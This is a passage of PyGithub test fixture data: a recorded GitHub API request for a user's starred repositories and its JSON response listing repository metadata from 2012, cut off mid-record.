feature","fork":false,"url":"https://api.github.com/repos/jacquev6/LowVoltage","forks_url":"https://api.github.com/repos/jacquev6/LowVoltage/forks","keys_url":"https://api.github.com/repos/jacquev6/LowVoltage/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/LowVoltage/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/LowVoltage/teams","hooks_url":"https://api.github.com/repos/jacquev6/LowVoltage/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/LowVoltage/events","assignees_url":"https://api.github.com/repos/jacquev6/LowVoltage/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/LowVoltage/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/tags","blobs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/LowVoltage/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/LowVoltage/languages","stargazers_url":"https://api.github.com/repos/jacquev6/LowVoltage/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/LowVoltage/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/LowVoltage/subscription","commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/LowVoltage/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/LowVoltage/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/LowVoltage/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/LowVoltage/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/LowVoltage/merges","archive_url":"https://api.github.com/repos/jacquev6/LowVoltage/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/LowVoltage/downloads","issues_url":"https://api.github.com/repos/jacquev6/LowVoltage/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/LowVoltage/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/LowVoltage/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/LowVoltage/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/LowVoltage/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/LowVoltage/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/LowVoltage/deployments","created_at":"2014-10-04T20:02:56Z","updated_at":"2016-12-09T03:34:33Z","pushed_at":"2015-09-06T16:17:11Z","git_url":"git://github.com/jacquev6/LowVoltage.git","ssh_url":"git@github.com:jacquev6/LowVoltage.git","clone_url":"https://github.com/jacquev6/LowVoltage.git","svn_url":"https://github.com/jacquev6/LowVoltage","homepage":"http://pythonhosted.org/LowVoltage/","size":880,"stargazers_count":2,"watchers_count":2,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":1,"open_issues":1,"watchers":2,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/NamedUser.testGetStarred.txt0000644000175100001660000012466014756101563023556 0ustar00runnerdockerhttps GET api.github.com None /users/jacquev6/starred {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '35785'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4982'), ('server', 'nginx/1.0.13'), ('last-modified', 'Fri, 07 Sep 2012 23:17:13 GMT'), ('connection', 'keep-alive'), ('etag', '"82faf8e78544d72b3f535ac5197c5d62"'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 07 Sep 2012 23:29:27 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"open_issues":4,"has_issues":false,"ssh_url":"git@github.com:git/git.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/878a0ea898da1701df8573ed64a5cc9d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"878a0ea898da1701df8573ed64a5cc9d","url":"https://api.github.com/users/git","login":"git","id":18133},"language":"C","svn_url":"https://github.com/git/git","pushed_at":"2012-09-07T21:55:44Z","forks":772,"has_downloads":true,"updated_at":"2012-09-07T22:39:33Z","full_name":"git/git","git_url":"git://github.com/git/git.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":772,"homepage":"This is a publish-only repository and all pull requests are ignored. Please follow Documentation/SubmittingPatches procedure for any of your improvements.","clone_url":"https://github.com/git/git.git","watchers_count":2886,"size":36484,"fork":false,"html_url":"https://github.com/git/git","has_wiki":false,"name":"git","url":"https://api.github.com/repos/git/git","watchers":2886,"open_issues_count":4,"description":"Git Source Code Mirror - This is a publish-only repository and all pull requests are ignored. Please follow Documentation/SubmittingPatches procedure for any of your improvements.","private":false,"id":36502,"created_at":"2008-07-23T14:21:26Z"},{"open_issues":1,"has_issues":true,"ssh_url":"git@github.com:moriyoshi/boost.php.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/0bafbcfcfb548a4ac20406692858f68b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0bafbcfcfb548a4ac20406692858f68b","url":"https://api.github.com/users/moriyoshi","login":"moriyoshi","id":18755},"language":"C++","svn_url":"https://github.com/moriyoshi/boost.php","pushed_at":"2009-12-15T14:07:47Z","forks":3,"has_downloads":true,"updated_at":"2012-09-05T22:29:17Z","full_name":"moriyoshi/boost.php","git_url":"git://github.com/moriyoshi/boost.php.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":3,"homepage":"","clone_url":"https://github.com/moriyoshi/boost.php.git","watchers_count":47,"size":1331,"fork":false,"html_url":"https://github.com/moriyoshi/boost.php","has_wiki":true,"name":"boost.php","url":"https://api.github.com/repos/moriyoshi/boost.php","watchers":47,"open_issues_count":1,"description":"Create your PHP extension in C++, in a minute.","private":false,"id":38097,"created_at":"2008-07-29T03:01:07Z"},{"open_issues":44,"has_issues":true,"ssh_url":"git@github.com:capistrano/capistrano.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/885e1c523b7975c4003de162d8ee8fee?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"885e1c523b7975c4003de162d8ee8fee","url":"https://api.github.com/users/capistrano","login":"capistrano","id":58257},"language":"Ruby","svn_url":"https://github.com/capistrano/capistrano","pushed_at":"2012-09-06T17:01:03Z","forks":296,"has_downloads":false,"updated_at":"2012-09-07T16:07:26Z","full_name":"capistrano/capistrano","git_url":"git://github.com/capistrano/capistrano.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":296,"homepage":"http://capify.org","clone_url":"https://github.com/capistrano/capistrano.git","watchers_count":2638,"size":644,"fork":true,"html_url":"https://github.com/capistrano/capistrano","has_wiki":true,"name":"capistrano","url":"https://api.github.com/repos/capistrano/capistrano","watchers":2638,"open_issues_count":44,"description":"Remote multi-server automation tool","private":false,"id":138312,"created_at":"2009-02-26T16:14:04Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:moriyoshi/boost.perl.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/0bafbcfcfb548a4ac20406692858f68b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0bafbcfcfb548a4ac20406692858f68b","url":"https://api.github.com/users/moriyoshi","login":"moriyoshi","id":18755},"language":"C++","svn_url":"https://github.com/moriyoshi/boost.perl","pushed_at":"2010-05-28T07:23:06Z","forks":0,"has_downloads":true,"updated_at":"2011-10-03T23:45:58Z","full_name":"moriyoshi/boost.perl","git_url":"git://github.com/moriyoshi/boost.perl.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":0,"homepage":"","clone_url":"https://github.com/moriyoshi/boost.perl.git","watchers_count":8,"size":512,"fork":false,"html_url":"https://github.com/moriyoshi/boost.perl","has_wiki":true,"name":"boost.perl","url":"https://api.github.com/repos/moriyoshi/boost.perl","watchers":8,"open_issues_count":0,"description":"Still a proof of concept...","private":false,"id":163431,"created_at":"2009-03-30T21:09:12Z"},{"open_issues":11,"has_issues":false,"ssh_url":"git@github.com:apenwarr/git-subtree.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/918b627daf7d848cd40770ed6cd15233?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"918b627daf7d848cd40770ed6cd15233","url":"https://api.github.com/users/apenwarr","login":"apenwarr","id":20592},"language":"Shell","svn_url":"https://github.com/apenwarr/git-subtree","pushed_at":"2012-07-14T19:40:25Z","forks":72,"has_downloads":true,"updated_at":"2012-09-07T14:50:20Z","full_name":"apenwarr/git-subtree","git_url":"git://github.com/apenwarr/git-subtree.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":72,"homepage":"","clone_url":"https://github.com/apenwarr/git-subtree.git","watchers_count":648,"size":232,"fork":false,"html_url":"https://github.com/apenwarr/git-subtree","has_wiki":false,"name":"git-subtree","url":"https://api.github.com/repos/apenwarr/git-subtree","watchers":648,"open_issues_count":11,"description":"An experimental alternative to the git-submodule command. Merges and splits subtrees from your project into subprojects and back.","private":false,"id":185096,"created_at":"2009-04-25T04:10:31Z"},{"open_issues":2,"has_issues":true,"ssh_url":"git@github.com:cosmin/git-hg.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/1b5633ca7f3390376c779e5f716a3ed0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1b5633ca7f3390376c779e5f716a3ed0","url":"https://api.github.com/users/cosmin","login":"cosmin","id":1358},"language":"Shell","svn_url":"https://github.com/cosmin/git-hg","pushed_at":"2012-08-15T18:18:04Z","forks":29,"has_downloads":true,"updated_at":"2012-09-07T07:37:40Z","full_name":"cosmin/git-hg","git_url":"git://github.com/cosmin/git-hg.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":29,"homepage":"http://offbytwo.github.com/git-hg","clone_url":"https://github.com/cosmin/git-hg.git","watchers_count":156,"size":200,"fork":false,"html_url":"https://github.com/cosmin/git-hg","has_wiki":true,"name":"git-hg","url":"https://api.github.com/repos/cosmin/git-hg","watchers":156,"open_issues_count":2,"description":"A git-hg utility for checking out and tracking a mercurial repo.","private":false,"id":201230,"created_at":"2009-05-14T20:23:01Z"},{"open_issues":326,"has_issues":true,"ssh_url":"git@github.com:mxcl/homebrew.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/1510549f9353c9859b7b3c81872df09c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1510549f9353c9859b7b3c81872df09c","url":"https://api.github.com/users/mxcl","login":"mxcl","id":58962},"language":"Ruby","svn_url":"https://github.com/mxcl/homebrew","pushed_at":"2012-09-07T21:19:16Z","master_branch":"master","forks":4572,"has_downloads":false,"updated_at":"2012-09-07T22:40:37Z","full_name":"mxcl/homebrew","git_url":"git://github.com/mxcl/homebrew.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":4572,"homepage":"http://mxcl.github.com/homebrew","clone_url":"https://github.com/mxcl/homebrew.git","watchers_count":9910,"size":7160,"fork":false,"html_url":"https://github.com/mxcl/homebrew","has_wiki":true,"name":"homebrew","url":"https://api.github.com/repos/mxcl/homebrew","watchers":9910,"open_issues_count":326,"description":"The missing package manager for OS X.","private":false,"id":206084,"created_at":"2009-05-20T19:38:37Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:jamis/celtic_knot.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/992fe8c19bbbc27f2b562a9f96efc03d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"992fe8c19bbbc27f2b562a9f96efc03d","url":"https://api.github.com/users/jamis","login":"jamis","id":1627},"language":"Ruby","svn_url":"https://github.com/jamis/celtic_knot","pushed_at":"2010-11-25T02:39:53Z","forks":1,"has_downloads":true,"updated_at":"2011-10-12T04:36:53Z","full_name":"jamis/celtic_knot","git_url":"git://github.com/jamis/celtic_knot.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":1,"homepage":"","clone_url":"https://github.com/jamis/celtic_knot.git","watchers_count":4,"size":1272,"fork":false,"html_url":"https://github.com/jamis/celtic_knot","has_wiki":true,"name":"celtic_knot","url":"https://api.github.com/repos/jamis/celtic_knot","watchers":4,"open_issues_count":0,"description":"A library for generating Celtic Knotwork designs from graphs","private":false,"id":209230,"created_at":"2009-05-24T23:23:10Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:jdavisp3/twisted-intro.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/fcc237fd34a8e504f7224df0c58cc0b3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"fcc237fd34a8e504f7224df0c58cc0b3","url":"https://api.github.com/users/jdavisp3","login":"jdavisp3","id":43582},"language":"Python","svn_url":"https://github.com/jdavisp3/twisted-intro","pushed_at":"2012-06-24T03:44:38Z","forks":14,"has_downloads":true,"updated_at":"2012-09-03T08:56:13Z","full_name":"jdavisp3/twisted-intro","git_url":"git://github.com/jdavisp3/twisted-intro.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":14,"homepage":"http://krondo.com/blog/?page_id=1327","clone_url":"https://github.com/jdavisp3/twisted-intro.git","watchers_count":67,"size":196,"fork":false,"html_url":"https://github.com/jdavisp3/twisted-intro","has_wiki":true,"name":"twisted-intro","url":"https://api.github.com/repos/jdavisp3/twisted-intro","watchers":67,"open_issues_count":0,"description":"Source files used for an introduction to Twisted","private":false,"id":273325,"created_at":"2009-08-09T17:54:00Z"},{"open_issues":79,"has_issues":true,"ssh_url":"git@github.com:github/markup.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/users/github","login":"github","id":9919},"language":"Python","svn_url":"https://github.com/github/markup","pushed_at":"2012-08-05T18:59:47Z","forks":577,"has_downloads":false,"updated_at":"2012-09-07T19:49:25Z","full_name":"github/markup","git_url":"git://github.com/github/markup.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":577,"homepage":"","clone_url":"https://github.com/github/markup.git","watchers_count":1246,"size":312,"fork":false,"html_url":"https://github.com/github/markup","has_wiki":false,"name":"markup","url":"https://api.github.com/repos/github/markup","watchers":1246,"open_issues_count":79,"description":"The code we use to render README.your_favorite_markup","private":false,"id":355893,"created_at":"2009-10-31T01:02:46Z"},{"open_issues":19,"has_issues":true,"ssh_url":"git@github.com:defunkt/hub.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b8dbb1987e8e5318584865f880036796?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b8dbb1987e8e5318584865f880036796","url":"https://api.github.com/users/defunkt","login":"defunkt","id":2},"language":"Ruby","svn_url":"https://github.com/defunkt/hub","pushed_at":"2012-07-24T11:24:47Z","forks":114,"has_downloads":false,"updated_at":"2012-09-06T21:08:04Z","full_name":"defunkt/hub","git_url":"git://github.com/defunkt/hub.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":114,"homepage":"http://defunkt.io/hub/","clone_url":"https://github.com/defunkt/hub.git","watchers_count":1449,"size":280,"fork":false,"html_url":"https://github.com/defunkt/hub","has_wiki":false,"name":"hub","url":"https://api.github.com/repos/defunkt/hub","watchers":1449,"open_issues_count":19,"description":"hub introduces git to GitHub","private":false,"id":401025,"created_at":"2009-12-05T22:15:25Z"},{"open_issues":100,"has_issues":true,"ssh_url":"git@github.com:nvie/gitflow.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/466ef7561a0b100dc5a1021959962d28?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"466ef7561a0b100dc5a1021959962d28","url":"https://api.github.com/users/nvie","login":"nvie","id":83844},"language":"Shell","svn_url":"https://github.com/nvie/gitflow","pushed_at":"2012-07-10T09:18:03Z","master_branch":"develop","forks":429,"has_downloads":true,"updated_at":"2012-09-07T21:10:39Z","full_name":"nvie/gitflow","git_url":"git://github.com/nvie/gitflow.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":429,"homepage":"http://nvie.com/posts/a-successful-git-branching-model/","clone_url":"https://github.com/nvie/gitflow.git","watchers_count":4650,"size":4430,"fork":false,"html_url":"https://github.com/nvie/gitflow","has_wiki":true,"name":"gitflow","url":"https://api.github.com/repos/nvie/gitflow","watchers":4650,"open_issues_count":100,"description":"Git extensions to provide high-level repository operations for Vincent Driessen's branching model.","private":false,"id":481366,"created_at":"2010-01-20T23:14:12Z"},{"open_issues":9,"has_issues":true,"ssh_url":"git@github.com:lg/murder.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/f2583cecbd75c5999bf65d9eeb6a84f2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f2583cecbd75c5999bf65d9eeb6a84f2","url":"https://api.github.com/users/lg","login":"lg","id":181018},"language":"Python","svn_url":"https://github.com/lg/murder","pushed_at":"2011-10-18T00:40:07Z","forks":59,"has_downloads":true,"updated_at":"2012-09-05T19:50:00Z","full_name":"lg/murder","git_url":"git://github.com/lg/murder.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":59,"homepage":"http://twitter.com","clone_url":"https://github.com/lg/murder.git","watchers_count":1286,"size":1228,"fork":false,"html_url":"https://github.com/lg/murder","has_wiki":true,"name":"murder","url":"https://api.github.com/repos/lg/murder","watchers":1286,"open_issues_count":9,"description":"Large scale server deploys using BitTorrent and the BitTornado library","private":false,"id":481811,"created_at":"2010-01-21T07:05:36Z"},{"open_issues":177,"has_issues":true,"ssh_url":"git@github.com:boto/boto.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/9062d6f913c867ce042928d6637abd05?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"9062d6f913c867ce042928d6637abd05","url":"https://api.github.com/users/boto","login":"boto","id":327752},"language":"Python","svn_url":"https://github.com/boto/boto","pushed_at":"2012-09-06T22:09:52Z","master_branch":"develop","forks":512,"has_downloads":true,"updated_at":"2012-09-07T20:38:05Z","full_name":"boto/boto","git_url":"git://github.com/boto/boto.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":512,"homepage":"http://docs.pythonboto.org/","clone_url":"https://github.com/boto/boto.git","watchers_count":1947,"size":5723,"fork":false,"html_url":"https://github.com/boto/boto","has_wiki":true,"name":"boto","url":"https://api.github.com/repos/boto/boto","watchers":1947,"open_issues_count":177,"description":"Python interface to Amazon Web Services","private":false,"id":771016,"created_at":"2010-07-12T19:15:33Z"},{"open_issues":35,"has_issues":true,"ssh_url":"git@github.com:rtyley/agit.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/1cdc781dd667a5d4b61340591bf1bef4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1cdc781dd667a5d4b61340591bf1bef4","url":"https://api.github.com/users/rtyley","login":"rtyley","id":52038},"language":"Java","svn_url":"https://github.com/rtyley/agit","pushed_at":"2012-08-14T14:51:40Z","forks":49,"has_downloads":true,"updated_at":"2012-09-07T14:46:30Z","full_name":"rtyley/agit","git_url":"git://github.com/rtyley/agit.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":49,"homepage":"https://market.android.com/details?id=com.madgag.agit","clone_url":"https://github.com/rtyley/agit.git","watchers_count":236,"size":1240,"fork":false,"html_url":"https://github.com/rtyley/agit","has_wiki":true,"name":"agit","url":"https://api.github.com/repos/rtyley/agit","watchers":236,"open_issues_count":35,"description":"Agit - Git client for Android","private":false,"id":870849,"created_at":"2010-08-29T21:45:54Z"},{"open_issues":123,"has_issues":true,"ssh_url":"git@github.com:mbostock/d3.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/005a27e09fe946ebef64bf4d134efc0a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"005a27e09fe946ebef64bf4d134efc0a","url":"https://api.github.com/users/mbostock","login":"mbostock","id":230541},"language":"JavaScript","svn_url":"https://github.com/mbostock/d3","pushed_at":"2012-09-04T02:21:17Z","forks":1137,"has_downloads":true,"updated_at":"2012-09-07T21:21:07Z","full_name":"mbostock/d3","git_url":"git://github.com/mbostock/d3.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":1137,"homepage":"http://d3js.org","clone_url":"https://github.com/mbostock/d3.git","watchers_count":8352,"size":2928,"fork":false,"html_url":"https://github.com/mbostock/d3","has_wiki":true,"name":"d3","url":"https://api.github.com/repos/mbostock/d3","watchers":8352,"open_issues_count":123,"description":"A JavaScript visualization library for HTML and SVG.","private":false,"id":943149,"created_at":"2010-09-27T17:22:42Z"},{"open_issues":19,"has_issues":true,"ssh_url":"git@github.com:libgit2/pygit2.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/1c56acccc41c591705dc92da5f6ab603?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"1c56acccc41c591705dc92da5f6ab603","url":"https://api.github.com/users/libgit2","login":"libgit2","id":394745},"language":"C","svn_url":"https://github.com/libgit2/pygit2","pushed_at":"2012-08-28T08:34:33Z","forks":60,"has_downloads":true,"updated_at":"2012-09-04T23:59:16Z","full_name":"libgit2/pygit2","git_url":"git://github.com/libgit2/pygit2.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":60,"homepage":"","clone_url":"https://github.com/libgit2/pygit2.git","watchers_count":265,"size":200,"fork":false,"html_url":"https://github.com/libgit2/pygit2","has_wiki":false,"name":"pygit2","url":"https://api.github.com/repos/libgit2/pygit2","watchers":265,"open_issues_count":19,"description":"Python bindings for libgit2","private":false,"id":1062237,"created_at":"2010-11-08T16:27:48Z"},{"open_issues":12,"has_issues":true,"ssh_url":"git@github.com:schacon/git-pulls.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/9375a9529679f1b42b567a640d775e7d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"9375a9529679f1b42b567a640d775e7d","url":"https://api.github.com/users/schacon","login":"schacon","id":70},"language":"Ruby","svn_url":"https://github.com/schacon/git-pulls","pushed_at":"2011-10-28T07:11:56Z","forks":23,"has_downloads":true,"updated_at":"2012-08-29T19:10:30Z","full_name":"schacon/git-pulls","git_url":"git://github.com/schacon/git-pulls.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":23,"homepage":"","clone_url":"https://github.com/schacon/git-pulls.git","watchers_count":177,"size":1004,"fork":false,"html_url":"https://github.com/schacon/git-pulls","has_wiki":true,"name":"git-pulls","url":"https://api.github.com/repos/schacon/git-pulls","watchers":177,"open_issues_count":12,"description":"command line tool to facilitate github pull requests","private":false,"id":1201343,"created_at":"2010-12-27T20:39:24Z"},{"open_issues":0,"has_issues":true,"ssh_url":"git@github.com:emesik/django_mathlatex.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/0d0c6eda804f912d230df91577e29180?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0d0c6eda804f912d230df91577e29180","url":"https://api.github.com/users/emesik","login":"emesik","id":407107},"language":"Python","svn_url":"https://github.com/emesik/django_mathlatex","pushed_at":"2011-04-01T11:33:23Z","forks":1,"has_downloads":true,"updated_at":"2012-08-05T04:16:25Z","full_name":"emesik/django_mathlatex","git_url":"git://github.com/emesik/django_mathlatex.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":1,"homepage":"","clone_url":"https://github.com/emesik/django_mathlatex.git","watchers_count":4,"size":448,"fork":false,"html_url":"https://github.com/emesik/django_mathlatex","has_wiki":true,"name":"django_mathlatex","url":"https://api.github.com/repos/emesik/django_mathlatex","watchers":4,"open_issues_count":0,"description":"Django template tag for rendering math formulas","private":false,"id":1447846,"created_at":"2011-03-06T22:29:04Z"},{"open_issues":17,"has_issues":true,"ssh_url":"git@github.com:aliasaria/scrumblr.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/a08f4e2d6ccccab586b502992c31e2ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a08f4e2d6ccccab586b502992c31e2ce","url":"https://api.github.com/users/aliasaria","login":"aliasaria","id":213343},"language":"JavaScript","svn_url":"https://github.com/aliasaria/scrumblr","pushed_at":"2012-08-30T20:29:00Z","forks":60,"has_downloads":true,"updated_at":"2012-09-04T09:24:36Z","full_name":"aliasaria/scrumblr","git_url":"git://github.com/aliasaria/scrumblr.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":60,"homepage":"http://scrumblr.ca","clone_url":"https://github.com/aliasaria/scrumblr.git","watchers_count":505,"size":632,"fork":false,"html_url":"https://github.com/aliasaria/scrumblr","has_wiki":true,"name":"scrumblr","url":"https://api.github.com/repos/aliasaria/scrumblr","watchers":505,"open_issues_count":17,"description":"Collaborative Online Scrum Tool Using Websockets, Node.js, jQuery, and CSS3","private":false,"id":1461917,"created_at":"2011-03-10T02:29:38Z"},{"open_issues":0,"has_issues":false,"ssh_url":"git@github.com:github/developer.github.com.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/users/github","login":"github","id":9919},"language":"Ruby","svn_url":"https://github.com/github/developer.github.com","pushed_at":"2012-09-07T20:42:32Z","forks":174,"has_downloads":true,"updated_at":"2012-09-07T20:42:32Z","full_name":"github/developer.github.com","git_url":"git://github.com/github/developer.github.com.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":174,"homepage":"http://developer.github.com","clone_url":"https://github.com/github/developer.github.com.git","watchers_count":343,"size":412,"fork":false,"html_url":"https://github.com/github/developer.github.com","has_wiki":false,"name":"developer.github.com","url":"https://api.github.com/repos/github/developer.github.com","watchers":343,"open_issues_count":0,"description":"GitHub API documentation","private":false,"id":1666784,"created_at":"2011-04-26T19:20:56Z"},{"open_issues":1,"has_issues":true,"ssh_url":"git@github.com:ChristopherMacGown/python-github3.git","owner":{"avatar_url":"https://secure.gravatar.com/avatar/4174216c1dc0f223ce608d5a3b66a585?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4174216c1dc0f223ce608d5a3b66a585","url":"https://api.github.com/users/ChristopherMacGown","login":"ChristopherMacGown","id":43081},"language":"Python","svn_url":"https://github.com/ChristopherMacGown/python-github3","pushed_at":"2012-09-06T20:37:01Z","forks":13,"has_downloads":true,"updated_at":"2012-09-06T20:37:19Z","full_name":"ChristopherMacGown/python-github3","git_url":"git://github.com/ChristopherMacGown/python-github3.git","permissions":{"push":false,"pull":true,"admin":false},"mirror_url":null,"forks_count":13,"homepage":"","clone_url":"https://github.com/ChristopherMacGown/python-github3.git","watchers_count":21,"size":136,"fork":false,"html_url":"https://github.com/ChristopherMacGown/python-github3","has_wiki":true,"name":"python-github3","url":"https://api.github.com/repos/ChristopherMacGown/python-github3","watchers":21,"open_issues_count":1,"description":"Github API v3 library for 